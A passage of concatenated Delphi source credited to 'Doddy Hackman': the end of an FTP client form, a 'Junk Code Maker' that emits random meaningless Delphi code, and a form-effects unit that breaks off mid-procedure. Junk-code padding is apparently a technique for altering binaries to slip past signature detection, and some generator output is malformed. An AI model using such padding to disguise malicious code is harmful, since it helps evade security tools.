      ListaDeArchivos.Items.EndUpdate;
    end;

  end;

  procedure listarftp(dirnownow2: string; ListaDeArchivosFTP: TListView;
    ftp: TIdFTP; DirectoriosEncontrados: TListBox;
    ArchivosEncontrados: TListBox);
  var
    i: integer;
    Item: TIdFTPListItem;
    listate2: TListItem;

  begin

    ListaDeArchivosFTP.Items.Clear;
    DirectoriosEncontrados.Clear;
    ArchivosEncontrados.Clear;

    listate2 := ListaDeArchivosFTP.Items.Add;

    ftp.ChangeDir(dirnownow2);
    ftp.List('*.*', True);

    for i := 0 to ftp.DirectoryListing.Count - 1 do
    begin

      Item := ftp.DirectoryListing.Items[i];
      if Item.ItemType = ditFile then
      begin
        DirectoriosEncontrados.Items.Add(ftp.DirectoryListing.Items[i]
          .FileName);
      end
      else
      begin
        ArchivosEncontrados.Items.Add(ftp.DirectoryListing.Items[i].FileName);
      end;

    end;

    ListaDeArchivosFTP.Items.Clear;

    for i := 0 to ArchivosEncontrados.Count - 1 do
    begin

      with ListaDeArchivosFTP do

      begin

        listate2 := ListaDeArchivosFTP.Items.Add;
        listate2.Caption := ArchivosEncontrados.Items[i];
        listate2.SubItems.Add('Directory');
        listate2.ImageIndex := 0;

      end;
    end;

    for i := 0 to DirectoriosEncontrados.Count - 1 do
    begin

      with ListaDeArchivosFTP do

      begin

        listate2 := ListaDeArchivosFTP.Items.Add;
        listate2.Caption := DirectoriosEncontrados.Items[i];
        listate2.SubItems.Add('File');
        listate2.ImageIndex := 1;

      end;
    end;

  end;

  procedure TFormHome.btnConnectClick(Sender: TObject);
  begin

    lv_FTP_Files.Items.Clear;

    directorios.Clear;
    archivos.Clear;

    if (btnConnect.Caption = 'Disconnect') then
    begin
      ftp_client.Disconnect;
      btnConnect.Caption := 'Connect';
      status.Panels[0].Text := '[+] Disconnected';
      FormHome.status.Update;
      txt_FTP_Directory.Text := '';
      MessageBox(0, 'Disconnected', 'FTP Manager 1.0', MB_ICONINFORMATION);
    end
    else
    begin

      ftp_client.host := txtHost.Text;
      ftp_client.username := txtUsername.Text;
      ftp_client.password := txtPassword.Text;

      try
        ftp_client.connect;
        btnConnect.Caption := 'Disconnect';
        status.Panels[0].Text := '[+] Connected';
        FormHome.status.Update;

        txt_FTP_Directory.Text := '/';
        listarftp(txt_FTP_Directory.Text, lv_FTP_Files, ftp_client, directorios,
          archivos);

        MessageBox(0, 'Connected', 'FTP Manager 1.0', MB_ICONINFORMATION);
      except
        status.Panels[0].Text := '[-] Error connecting to server';
        FormHome.status.Update;
        MessageBox(0, 'Error connecting to server', 'FTP Manager 1.0',
          MB_ICONERROR);
      end;
    end;

  end;

  procedure TFormHome.Delete1Click(Sender: TObject);
  var
    archivo: string;
  begin
    if Assigned(lvLocalFiles.Selected) then
    begin
      archivo := lvLocalFiles.Selected.Caption;
      if DeleteFile(txtMe_Directory.Text + '/' + archivo) then
      begin
        if not(txtMe_Directory.Text = '') then
        begin
          listar(txtMe_Directory.Text, lvLocalFiles, local_iconos);
        end;
        MessageBox(0, 'Deleted', 'FTP Manager 1.0', MB_ICONINFORMATION);
      end
      else
      begin
        MessageBox(0, 'Error', 'FTP Manager 1.0', MB_ICONERROR);
      end;
    end;
  end;

  procedure TFormHome.Delete2Click(Sender: TObject);
  var
    archivo: string;
  begin
    if Assigned(lv_FTP_Files.Selected) then
    begin
      archivo := lv_FTP_Files.Selected.Caption;
      ftp_client.ChangeDir(txt_FTP_Directory.Text);
      try
        begin
          ftp_client.Delete(archivo);
          if not(txt_FTP_Directory.Text = '') then
          begin
            listarftp(txt_FTP_Directory.Text, lv_FTP_Files, ftp_client,
              directorios, archivos);
          end;
          MessageBox(0, 'Deleted', 'FTP Manager 1.0', MB_ICONINFORMATION);
        end;
      except
        MessageBox(0, 'Error', 'FTP Manager 1.0', MB_ICONERROR);
      end;
    end;
  end;

  procedure TFormHome.btnDownloadClick(Sender: TObject);
  var
    fileabajar: string;
  begin

    if Assigned(lv_FTP_Files.Selected) then
    begin
      try
        begin
          fileabajar := lv_FTP_Files.Selected.Caption;;
          ftp_client.OnWork := ftp_clientWork;
          ftp_client.ChangeDir(txt_FTP_Directory.Text);

          progreso.Max := ftp_client.Size(ExtractFileName(fileabajar)) div 1024;

          ftp_client.Get(fileabajar, txtMe_Directory.Text + '/' + fileabajar,
            False, False);

          if not(txtMe_Directory.Text = '') then
          begin
            listar(txtMe_Directory.Text, lvLocalFiles, local_iconos);
          end;

          MessageBox(0, 'Action completed successfully', 'FTP Manager 1.0',
            MB_ICONINFORMATION);
        end;
      except
        MessageBox(0, 'Error', 'FTP Manager 1.0', MB_ICONERROR);
      end;
    end
    else
    begin
      MessageBox(0, 'Select File to download', 'FTP Manager 1.0',
        MB_ICONINFORMATION);
    end;
  end;

  procedure TFormHome.FormCreate(Sender: TObject);
  begin
    UseLatestCommonDialogs := False;
    txtMe_Directory.Text := GetCurrentDir + '\';
    listar(txtMe_Directory.Text, lvLocalFiles, local_iconos);
  end;

  procedure TFormHome.ftp_clientWork(ASender: TObject; AWorkMode: TWorkMode;
    AWorkCount: Int64);
  begin
    status.Panels[0].Text := '[+] Working ...';
    FormHome.status.Update;

    progreso.Position := AWorkCount div 1024;
  end;

  procedure TFormHome.ftp_clientWorkBegin(ASender: TObject;
    AWorkMode: TWorkMode; AWorkCountMax: Int64);
  begin
    status.Panels[0].Text := '[+] Working ..';
    FormHome.status.Update;
  end;

  procedure TFormHome.ftp_clientWorkEnd(ASender: TObject; AWorkMode: TWorkMode);
  begin
    status.Panels[0].Text := '[+] Finished';
    FormHome.status.Update;
    progreso.Max := 0;
  end;

  procedure TFormHome.lv_FTP_FilesDblClick(Sender: TObject);
  begin
    if Assigned(lv_FTP_Files.Selected) then
    begin
      if (lv_FTP_Files.Selected.SubItems.Strings[0] = 'Directory') then
      begin
        ftp_client.ChangeDir(txt_FTP_Directory.Text +
          lv_FTP_Files.Selected.Caption + '/');
        listarftp(txt_FTP_Directory.Text + lv_FTP_Files.Selected.Caption + '/',
          lv_FTP_Files, ftp_client, directorios, archivos);
        txt_FTP_Directory.Text := ftp_client.RetrieveCurrentDir + '/';
      end;
    end
    else
    begin
      MessageBox(0, 'Write path', 'FTP Manager 1.0', MB_ICONINFORMATION);
    end;
  end;

  procedure TFormHome.btnList_FTPClick(Sender: TObject);
  begin
    if not(txt_FTP_Directory.Text = '') then
    begin
      listarftp(txt_FTP_Directory.Text, lv_FTP_Files, ftp_client, directorios,
        archivos);
    end
    else
    begin
      MessageBox(0, 'Write path', 'FTP Manager 1.0', MB_ICONINFORMATION);
    end;
  end;

  procedure TFormHome.btnListMeClick(Sender: TObject);
  begin
    if not(txtMe_Directory.Text = '') then
    begin
      listar(txtMe_Directory.Text, lvLocalFiles, local_iconos);
    end
    else
    begin
      MessageBox(0, 'Write path', 'FTP Manager 1.0', MB_ICONINFORMATION);
    end;
  end;

  procedure TFormHome.lvLocalFilesDblClick(Sender: TObject);
  begin
    if Assigned(lvLocalFiles.Selected) then
    begin
      if (DirectoryExists(txtMe_Directory.Text + lvLocalFiles.Selected.Caption +
        '/')) then
      begin
        Chdir(txtMe_Directory.Text + lvLocalFiles.Selected.Caption + '/');
        listar(txtMe_Directory.Text + lvLocalFiles.Selected.Caption + '/',
          lvLocalFiles, local_iconos);
        txtMe_Directory.Text := GetCurrentDir + '\';
      end;
    end
    else
    begin
      MessageBox(0, 'Select Path', 'FTP Manager 1.0', MB_ICONINFORMATION);
    end;
  end;

  procedure TFormHome.MakeDirectory1Click(Sender: TObject);
  var
    directorio: string;
  begin
    directorio := InputBox('FTP Manager 1.0', 'Directory : ', '');
    try
      begin
        MkDir(txtMe_Directory.Text + '/' + directorio);
        if not(txtMe_Directory.Text = '') then
        begin
          listar(txtMe_Directory.Text, lvLocalFiles, local_iconos);
        end;
        MessageBox(0, 'Directory created', 'FTP Manager 1.0',
          MB_ICONINFORMATION);
      end;
    except
      MessageBox(0, 'Error', 'FTP Manager 1.0', MB_ICONERROR);
    end;
  end;

  procedure TFormHome.MakeDirectory2Click(Sender: TObject);
  var
    directorio: string;
  begin
    directorio := InputBox('FTP Manager 1.0', 'Directory : ', '');
    try
      begin
        ftp_client.ChangeDir(txt_FTP_Directory.Text);
        ftp_client.MakeDir(directorio);
        if not(txt_FTP_Directory.Text = '') then
        begin
          listarftp(txt_FTP_Directory.Text, lv_FTP_Files, ftp_client,
            directorios, archivos);
        end;
        MessageBox(0, 'Directory created', 'FTP Manager 1.0',
          MB_ICONINFORMATION);
      end;
    except
      MessageBox(0, 'Error', 'FTP Manager 1.0', MB_ICONERROR);
    end;
  end;

  procedure TFormHome.Refresh1Click(Sender: TObject);
  begin
    if not(txtMe_Directory.Text = '') then
    begin
      listar(txtMe_Directory.Text, lvLocalFiles, local_iconos);
    end
    else
    begin
      MessageBox(0, 'Write path', 'FTP Manager 1.0', MB_ICONINFORMATION);
    end;
  end;

  procedure TFormHome.Refresh2Click(Sender: TObject);
  begin
    if not(txt_FTP_Directory.Text = '') then
    begin
      listarftp(txt_FTP_Directory.Text, lv_FTP_Files, ftp_client, directorios,
        archivos);
    end;
  end;

  procedure TFormHome.Rename1Click(Sender: TObject);
  var
    original, new_name: string;
  begin
    if Assigned(lvLocalFiles.Selected) then
    begin
      original := lvLocalFiles.Selected.Caption;
      new_name := InputBox('FTP Manager 1.0', 'New name : ', '');
      if RenameFile(txtMe_Directory.Text + '/' + original,
        txtMe_Directory.Text + '/' + new_name) then
      begin
        if not(txtMe_Directory.Text = '') then
        begin
          listar(txtMe_Directory.Text, lvLocalFiles, local_iconos);
        end;
        MessageBox(0, 'Changed', 'FTP Manager 1.0', MB_ICONINFORMATION);
      end
      else
      begin
        MessageBox(0, 'Error', 'FTP Manager 1.0', MB_ICONERROR);
      end;
    end;
  end;

  procedure TFormHome.Rename2Click(Sender: TObject);
  var
    original, new_name: string;
  begin
    if Assigned(lv_FTP_Files.Selected) then
    begin
      original := lv_FTP_Files.Selected.Caption;
      new_name := InputBox('FTP Manager 1.0', 'New name : ', '');
      try
        begin
          ftp_client.ChangeDir(txt_FTP_Directory.Text);
          ftp_client.Rename(original, new_name);
          if not(txt_FTP_Directory.Text = '') then
          begin
            listarftp(txt_FTP_Directory.Text, lv_FTP_Files, ftp_client,
              directorios, archivos);
          end;
          MessageBox(0, 'Changed', 'FTP Manager 1.0', MB_ICONINFORMATION);
        end;
      except
        MessageBox(0, 'Error', 'FTP Manager 1.0', MB_ICONERROR);
      end;
    end;

  end;

  procedure TFormHome.btnUploadClick(Sender: TObject);
  var
    fileasubir: string;
    dirasubir: string;
    cantidad: File of byte;
  begin

    if Assigned(lvLocalFiles.Selected) then
    begin
      try
        begin
          fileasubir := txtMe_Directory.Text + lvLocalFiles.Selected.Caption;
          dirasubir := txt_FTP_Directory.Text;

          ftp_client.OnWork := ftp_clientWork;

          AssignFile(cantidad, fileasubir);
          Reset(cantidad);
          progreso.Max := FileSize(cantidad) div 1024;
          CloseFile(cantidad);

          ftp_client.ChangeDir(dirasubir);
          ftp_client.Put(fileasubir, lvLocalFiles.Selected.Caption, False);

          if not(txt_FTP_Directory.Text = '') then
          begin
            listarftp(txt_FTP_Directory.Text, lv_FTP_Files, ftp_client,
              directorios, archivos);
          end;

          MessageBox(0, 'Action completed successfully', 'FTP Manager 1.0',
            MB_ICONINFORMATION);
        end;
      except
        MessageBox(0, 'Error', 'FTP Manager 1.0', MB_ICONERROR);
      end;
    end
    else
    begin
      MessageBox(0, 'Select File to upload', 'FTP Manager 1.0',
        MB_ICONINFORMATION);
    end;
  end;

end.

// The End ?

// DH Junk Code Maker 0.4
// (C) Doddy Hackman 2016

unit junk;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ExtCtrls, Vcl.StdCtrls,
  Vcl.ComCtrls, Vcl.Styles.Utils.Menus, Vcl.Styles.Utils.SysStyleHook,
  Vcl.Styles.Utils.SysControls, Math, Vcl.Menus, Vcl.Imaging.pngimage,
  Vcl.ImgList;

type
  TFormHome = class(TForm)
    imgLogo: TImage;
    gbOutput: TGroupBox;
    mmOutput: TMemo;
    gbEnterLength: TGroupBox;
    txtLength: TEdit;
    udLength: TUpDown;
    gbType: TGroupBox;
    cmbOptions: TComboBox;
    gbOptions: TGroupBox;
    btnGenerate: TButton;
    ppOptions: TPopupMenu;
    copy: TMenuItem;
    clear: TMenuItem;
    ilIconos: TImageList;
    procedure btnGenerateClick(Sender: TObject);
    procedure clearClick(Sender: TObject);
    procedure copyClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  FormHome: TFormHome;

implementation

{$R *.dfm}
// Functions

function dh_generate_string(option: string; length_string: integer): string;
const
  letters1: array [1 .. 26] of string = ('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',
    'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w',
    'x', 'y', 'z');
const
  letters2: array [1 .. 26] of string = ('A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
    'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W',
    'X', 'Y', 'Z');
const
  numbers: array [1 .. 10] of string = ('0', '1', '2', '3', '4', '5', '6', '7',
    '8', '9');

const
  cyrillic: array [1 .. 44] of string = ('?', '?', '?', '?', '?', '?', '?', '?',
    '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?',
    '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?',
    '?', '?', '?', '?', '?', '?');

const
  no_idea1: array [1 .. 13] of string = ('?', '?', '?', '?', '?', '?', '?', '?',
    '?', '?', '?', '?', '?');

const
  no_idea2: array [1 .. 28] of string = ('?', '?', '?', '?', '?', '?', '?', '?',
    '?', '?', '?', '?', '?', '?', '?', '?', '??', '?', '?', '?', '?', '?', '?',
    '?', '?', '?', '?', '??');

const
  no_idea3: array [1 .. 13] of string = ('??', '?', '?', '?', '?', '?', '?',
    '_', '?', '`', '?', '_', '?');

const
  no_idea4: array [1 .. 26] of string = ('?', '?', '€', '?', 'l', '?', '™', 'O',
    'e', '?', '?', '?', '?', '?', '?', '?', '?', '-', '/', '·', 'v', '8', '?',
    '˜', '?', '=');

const
  no_idea5: array [1 .. 33] of string = ('?', '?', '?', '?', 'n', '?', '?', '?',
    '?', '?', '?', 'G', '?', '?', '?', 'e', 'ß', '?', '?', '?', '?', '?', '?',
    '?', '?', '?', '?', '?', '?', '?', '8', 'S', '?');

const
  no_idea6: array [1 .. 32] of string = ('?', '?', '?', '?', '?', '?', '?', '?',
    '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?',
    '?', '?', '?', '?', '?', '?', '?', '?', '?');
var
  code: string;
  gen_now: string;
  i: integer;
  index: integer;
begin

  gen_now := '';

  for i := 1 to length_string do
  begin
    if (option = '1') then
    begin
      gen_now := gen_now + letters1[RandomRange(1, Length(letters1) + 1)];
    end
    else if (option = '2') then
    begin
      gen_now := gen_now + letters2[RandomRange(1, Length(letters2) + 1)];
    end
    else if (option = '3') then
    begin
      gen_now := gen_now + numbers[RandomRange(1, Length(numbers) + 1)];
    end
    else if (option = '4') then
    begin
      gen_now := gen_now + cyrillic[RandomRange(1, Length(cyrillic) + 1)];
    end
    else if (option = '5') then
    begin
      gen_now := gen_now + no_idea1[RandomRange(1, Length(no_idea1) + 1)];
    end
    else if (option = '6') then
    begin
      gen_now := gen_now + no_idea2[RandomRange(1, Length(no_idea2) + 1)];
    end
    else if (option = '7') then
    begin
      gen_now := gen_now + no_idea3[RandomRange(1, Length(no_idea3) + 1)];
    end
    else if (option = '8') then
    begin
      gen_now := gen_now + no_idea4[RandomRange(1, Length(no_idea4) + 1)];
    end
    else if (option = '9') then
    begin
      gen_now := gen_now + no_idea5[RandomRange(1, Length(no_idea5) + 1)];
    end
    else if (option = '10') then
    begin
      gen_now := gen_now + no_idea6[RandomRange(1, Length(no_idea6) + 1)];
    end
    else
    begin
      gen_now := gen_now + letters1[RandomRange(1, Length(letters1) + 1)];
    end;
  end;
  code := gen_now;

  Result := code;
end;

function message_box(title, message_text, type_message: string): string;
begin
  if not(title = '') and not(message_text = '') and not(type_message = '') then
  begin
    try
      begin
        if (type_message = 'Information') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONINFORMATION);
        end
        else if (type_message = 'Warning') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONWARNING);
        end
        else if (type_message = 'Question') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONQUESTION);
        end
        else if (type_message = 'Error') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONERROR);
        end
        else
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONINFORMATION);
        end;
        Result := '[+] MessageBox : OK';
      end;
    except
      begin
        Result := '[-] Error';
      end;
    end;
  end
  else
  begin
    Result := '[-] Error';
  end;
end;

//

procedure TFormHome.btnGenerateClick(Sender: TObject);
var
  id: string;
  i, y: integer;
  vars, vars2, name, name2, value, value2: string;
  strings, strings2: string;
  functions, code: string;
  limit_random: integer;
begin

  if (StrToInt(txtLength.Text) > 0) then
  begin

    if (cmbOptions.ItemIndex = 0) then
    begin
      for i := 1 to StrToInt(txtLength.Text) do
      begin
        name := dh_generate_string('1', 5);
        value := dh_generate_string('1', 20);
        mmOutput.Lines.Add('const ' + name + '=' + '''' + value + '''' + ';');
      end;
      mmOutput.Lines.Add('');
    end
    else if (cmbOptions.ItemIndex = 1) then
    begin

      vars := 'var ';
      strings := '';

      for i := 1 to StrToInt(txtLength.Text) do
      begin
        name := dh_generate_string('1', 5);
        value := dh_generate_string('1', 20);
        if (i = StrToInt(txtLength.Text)) then
        begin
          vars := vars + name + ':string;';
        end
        else
        begin
          vars := vars + name + ',';
        end;
        if (i = StrToInt(txtLength.Text)) then
        begin
          strings := strings + name + ':=' + '''' + value + '''' + ';';
        end
        else
        begin
          strings := strings + name + ':=' + '''' + value + '''' + ';' +
            sLineBreak;
        end;
      end;

      id := dh_generate_string('1', 5);

      code := 'procedure gen_vars_' + id + ';' + sLineBreak + vars + sLineBreak
        + 'begin' + sLineBreak + strings + sLineBreak + 'end;';

      mmOutput.Lines.Add(code);
      mmOutput.Lines.Add('');

    end
    else if (cmbOptions.ItemIndex = 2) then
    begin
      vars := 'var i,y:integer;';
      strings := '';
      for i := 1 to StrToInt(txtLength.Text) do
      begin
        value := dh_generate_string('3', 2);

        if (i = StrToInt(txtLength.Text)) then
        begin
          strings := strings + 'i := 0;' + sLineBreak + 'y := 0;' + sLineBreak +
            sLineBreak;
          strings := strings + 'for i := 0 to ' + value + ' do' + sLineBreak +
            'begin' + sLineBreak + 'inc(y);' + sLineBreak + 'end;';
        end
        else
        begin
          strings := strings + 'i := 0;' + sLineBreak + 'y := 0;' + sLineBreak +
            sLineBreak;
          strings := strings + 'for i := 0 to ' + value + ' do' + sLineBreak +
            'begin' + sLineBreak + 'inc(y);' + sLineBreak + 'end;' + sLineBreak
            + sLineBreak;
        end;
      end;

      id := dh_generate_string('1', 5);

      code := 'procedure gen_fors_' + id + ';' + sLineBreak + vars + sLineBreak
        + 'begin' + sLineBreak + strings + sLineBreak + 'end;';

      mmOutput.Lines.Add(code);
      mmOutput.Lines.Add('');

    end
    else if (cmbOptions.ItemIndex = 3) then
    begin
      code := '';
      functions := '';

      for i := 1 to StrToInt(txtLength.Text) do
      begin
        vars := 'var ';
        strings := '';
        limit_random := StrToInt(dh_generate_string('3', 1));
        if (limit_random = 0) then
        begin
          limit_random := 5;
        end;
        for y := 1 to limit_random do
        begin
          name := dh_generate_string('1', 5);
          value := dh_generate_string('1', 20);
          if (y = limit_random) then
          begin
            vars := vars + name + ':string;';
          end
          else
          begin
            vars := vars + name + ',';
          end;
          if (y = limit_random) then
          begin
            strings := strings + name + ':=' + '''' + value + '''' + ';';
          end
          else
          begin
            strings := strings + name + ':=' + '''' + value + '''' + ';' +
              sLineBreak;
          end;
        end;

        id := dh_generate_string('1', 5);

        if (i = StrToInt(txtLength.Text)) then
        begin
          functions := 'function gen_vars_' + id + '():string;' + sLineBreak +
            vars + sLineBreak + 'begin' + sLineBreak + strings + sLineBreak +
            'Result :=' + '''' + id + '''' + ';' + sLineBreak + 'end;' +
            sLineBreak;
        end
        else
        begin
          functions := 'function gen_vars_' + id + '():string;' + sLineBreak +
            vars + sLineBreak + 'begin' + sLineBreak + strings + sLineBreak +
            'Result :=' + '''' + id + '''' + ';' + sLineBreak + 'end;' +
            sLineBreak + sLineBreak;
        end;

        code := code + functions;

      end;

      mmOutput.Lines.Add(code);
      // mmOutput.Lines.Add('');
    end
    else if (cmbOptions.ItemIndex = 4) then
    begin

      code := '';

      for i := 1 to StrToInt(txtLength.Text) do
      begin

        vars := 'var i,y:integer;';
        strings := '';
        limit_random := StrToInt(dh_generate_string('3', 1));

        if (limit_random = 0) then
        begin
          limit_random := 5;
        end;
        for y := 1 to limit_random do
        begin
          value := dh_generate_string('3', 2);

          if (i = limit_random) then
          begin
            strings := strings + 'i := 0;' + sLineBreak + 'y := 0;' +
              sLineBreak;
            strings := strings + 'for i := 0 to ' + value + ' do' + sLineBreak +
              'begin' + sLineBreak + 'inc(y);' + sLineBreak + 'end;' +
              sLineBreak;
          end
          else
          begin
            strings := strings + 'i := 0;' + sLineBreak + 'y := 0;' +
              sLineBreak;
            strings := strings + 'for i := 0 to ' + value + ' do' + sLineBreak +
              'begin' + sLineBreak + 'inc(y);' + sLineBreak + 'end;' +
              sLineBreak;
          end;
        end;

        id := dh_generate_string('3', 5);

        if (i = StrToInt(txtLength.Text)) then
        begin
          functions := 'function gen_fors_' + id + '():integer();' + sLineBreak
            + vars + sLineBreak + 'begin' + sLineBreak + strings + 'Result :=' +
            id + ';' + sLineBreak + 'end;' + sLineBreak;
        end
        else
        begin
          functions := 'function gen_fors_' + id + '():integer();' + sLineBreak
            + vars + sLineBreak + 'begin' + sLineBreak + strings + 'Result :=' +
            id + ';' + sLineBreak + 'end;' + sLineBreak + sLineBreak;
        end;

        code := code + functions;

      end;

      mmOutput.Lines.Add(code);
      // mmOutput.Lines.Add('');

    end
    else if (cmbOptions.ItemIndex = 5) then
    begin

      code := '';
      functions := '';

      for i := 1 to StrToInt(txtLength.Text) do
      begin

        vars := 'var ';
        strings := '';
        vars2 := 'var ';
        strings2 := '';

        limit_random := StrToInt(dh_generate_string('3', 1));

        if (limit_random = 0) then
        begin
          limit_random := 5;
        end;
        for y := 1 to limit_random do
        begin
          name := dh_generate_string('1', 20);
          name2 := dh_generate_string('1', 20);
          value := dh_generate_string('1', 20);
          value2 := dh_generate_string('3', 2);

          if (y = limit_random) then
          begin
            vars := vars + name + ':string;';
          end
          else
          begin
            vars := vars + name + ',';
          end;

          if (y = limit_random) then
          begin
            strings := strings + name + ':=' + '''' + value + '''' + ';';
          end
          else
          begin
            strings := strings + name + ':=' + '''' + value + '''' + ';' +
              sLineBreak;
          end;

          vars2 := 'var i,y:integer;';

          if (y = limit_random) then
          begin
            strings2 := strings2 + 'i := 0;' + sLineBreak + 'y := 0;' +
              sLineBreak;
            strings2 := strings2 + 'for i := 0 to ' + value2 + ' do' +
              sLineBreak + 'begin' + sLineBreak + 'inc(y);' + sLineBreak +
              'end;' + sLineBreak;
          end
          else
          begin
            strings2 := strings2 + 'i := 0;' + sLineBreak + 'y := 0;' +
              sLineBreak;
            strings2 := strings2 + 'for i := 0 to ' + value2 + ' do' +
              sLineBreak + 'begin' + sLineBreak + 'inc(y);' + sLineBreak +
              'end;' + sLineBreak;
          end;
        end;

        id := dh_generate_string('1', 5);

        if (i = StrToInt(txtLength.Text)) then
        begin
          functions := 'function gen_functions_' + id + '():string;' +
            sLineBreak + vars + sLineBreak + vars2 + sLineBreak + 'begin' +
            sLineBreak + strings + sLineBreak + strings2 + 'Result :=' + '''' +
            id + '''' + ';' + sLineBreak + 'end;' + sLineBreak;
        end
        else
        begin
          functions := 'function gen_functions_' + id + '():string;' +
            sLineBreak + vars + sLineBreak + vars2 + sLineBreak + 'begin' +
            sLineBreak + strings + sLineBreak + strings2 + 'Result :=' + '''' +
            id + '''' + ';' + sLineBreak + 'end;' + sLineBreak + sLineBreak;
        end;

        code := code + functions;
      end;

      mmOutput.Lines.Add(code);

    end;

    message_box('DH Junk Code Maker 0.4', 'Enjoy the junk source',
      'Information');
  end
  else
  begin
    message_box('DH Junk Code Maker 0.4',
      'The length should be greater than zero', 'Warning');
  end;
end;

procedure TFormHome.clearClick(Sender: TObject);
begin
  mmOutput.clear;
  message_box('DH Junk Code Maker 0.4', 'Output cleaned', 'Information');
end;

procedure TFormHome.copyClick(Sender: TObject);
begin
  mmOutput.SelectAll;
  mmOutput.CopyToClipboard;
  message_box('DH Junk Code Maker 0.4', 'Output copied to the clipboard',
    'Information');
end;

end.

// The End ?

// Unit : DH Form Effects
// Version : 0.3
// (C) Doddy Hackman 2016

unit DH_Form_Effects;

interface

uses Windows, SysUtils, Vcl.Forms, Vcl.StdCtrls, Vcl.ExtCtrls, Registry;

type
  T_DH_Form_Effects = class
  private

  public
    constructor Create;
    destructor Destroy; override;
    procedure Effect_Marquee_Label_DownUp(Panel1: TPanel; Label1: TLabel;
      segundos: integer);
    procedure Effect_Marquee_Label_LeftRight(Label2: TLabel; opcion: string;
      segundos: integer);
    procedure Effect_Marquee_Form_Caption_LeftRight(Form1: TForm;
      opcion: string; segundos: integer);
    function Window_Effect(Form: HWND; opcion: string;
      velocidad: integer): bool;
    function Window_Transparent(Form: TForm; level: integer): bool;
    procedure Effect_Load_Another_Form(Form1_Load: TForm; Form2_Load: TForm;
      option: string; autosize: integer; space: integer; seconds: integer);
    function desktop_composition_control(option: string): bool;
    function Effect_Glass_in_Console(): bool;
  end;

type
  TTimerEffect_Marquee_Label_DownUp = Class(TTimer)
  public
    procedure OnWork(Sender: TObject);
  end;

  TTimerEffect_Marquee_Label_LeftRight = Class(TTimer)
  public
    procedure OnWork(Sender: TObject);
  end;

  TTimerEffect_Marquee_Form_Caption_LeftRight = Class(TTimer)
  public
    procedure OnWork(Sender: TObject);
  end;

var
  Timer_Effect_Marquee_Label_DownUp: TTimerEffect_Marquee_Label_DownUp;
  PanelToMove1: TPanel;
  LabelToMove1: TLabel;

var
  TimerEffect_Marquee_Label_LeftRight: TTimerEffect_Marquee_Label_LeftRight;
  LabelToMove2: TLabel;
  Option_Marquee_Label_LeftRight: string;

var
  TimerEffect_Marquee_Form_Caption_LeftRight
    : TTimerEffect_Marquee_Form_Caption_LeftRight;
  FormCaptionToMove: TForm;
  Option_Marquee_Form_Caption_LeftRight: string;

implementation

constructor T_DH_Form_Effects.Create;
begin
  inherited Create;
  //
end;

destructor T_DH_Form_Effects.Destroy;
begin
  inherited Destroy;
end;

// Timers

procedure TTimerEffect_Marquee_Label_DownUp.OnWork(Sender: TObject);
begin
  LabelToMove1.Top := LabelToMove1.Top - 10;
  if LabelToMove1.Top + LabelToMove1.Height < 0 then
  begin
    LabelToMove1.Top := PanelToMove1.Height;
  end;
end;

procedure TTimerEffect_Marquee_Form_Caption_LeftRight.OnWork(Sender: TObject);
var
  code: string;
  opcion: string;
begin
  code := FormCaptionToMove.Caption;
  opcion := Option_Marquee_Form_Caption_LeftRight;
  if opcion = 'left' then
  begin
    FormCaptionToMove.Caption := Copy(code, 2, Length(code) - 1) +
      Copy(code, 1, 1);
  end
  else if (opcion = 'right') then
  begin
    FormCaptionToMove.Caption := Copy(code, Length(code) - 1, 1) +
      Copy(code, 1, Length(code) - 1);
  end
  else
  begin
    FormCaptionToMove.Caption := Copy(code, 2, Length(code) - 1) +
      Copy(code, 1, 1);
  end;
end;

procedure TTimerEffect_Marquee_Label_LeftRight.OnWork(Sender: TObject);
// Based on : http://delphi.about.com/od/vclusing/a/marquee.htm
// Thanks to Zarko Gajic
var
  code: string;
  opcion: string;
begin
  code := LabelToMove2.Caption;
  opcion := Option_Marquee_Label_LeftRight;
  if opcion = 'left' then
  begin
    LabelToMove2.Caption := Copy(code, 2, Length(code) - 1) + Copy(code, 1, 1);
  end
  else if (opcion = 'right') then
  begin
    LabelToMove2.Caption := Copy(code, Length(code) - 1, 1) +
      Copy(code, 1, Length(code) - 1);
  end
  else
  begin
    LabelToMove2.Caption := Copy(code, 2, Length(code) - 1) + Copy(code, 1, 1);
  end;
end;

//

// Functions

procedure T_DH_Form_Effects.Effect_Load_Another_Form(Form1_Load: TForm;
  Form2_Load: TForm; option: string; autosize: integer; space: integer;
  seconds: integer);
var
  width: integer;
  Height: integer;
  i: integer;
begin

  if (autosize = 1) then
  begin
    width := Form2_Load.width;
    Height := Form1_Load.Height;
  end
  else
  begin
    width := Form2_Load.width;
    Height := Form2_Load.Height;
  end;

  if (option = 'effect1') then
  begin
    Form2_Load.width := 1;
    Form2_Load.Height := Form1_Load.Height;
    Form2_Load.Left := space + Form1_Load.Left + Form1_Load.width;
    Form2_Load.Top := Form1_Load.Top;
    Form2_Load.Show;
    for i := 1 to width do
    begin
      if (Form2_Load.width = width) then
      begin
        break;
      end
      else
      begin
        Form2_Load.width := i + seconds;
        Form2_Load.Update;
      end;
    end;
  end
  else if (option = 'effect2') then
  begin
    Form2_Load.Hide;
    Form2_Load.Height := Height;
    Form2_Load.Left := Form1_Load.Left + width;
    Form2_Load.Top := Form1_Load.Top;
    Form2_Load.Left := space + Form1_Load.Left + Form1_Load.width;
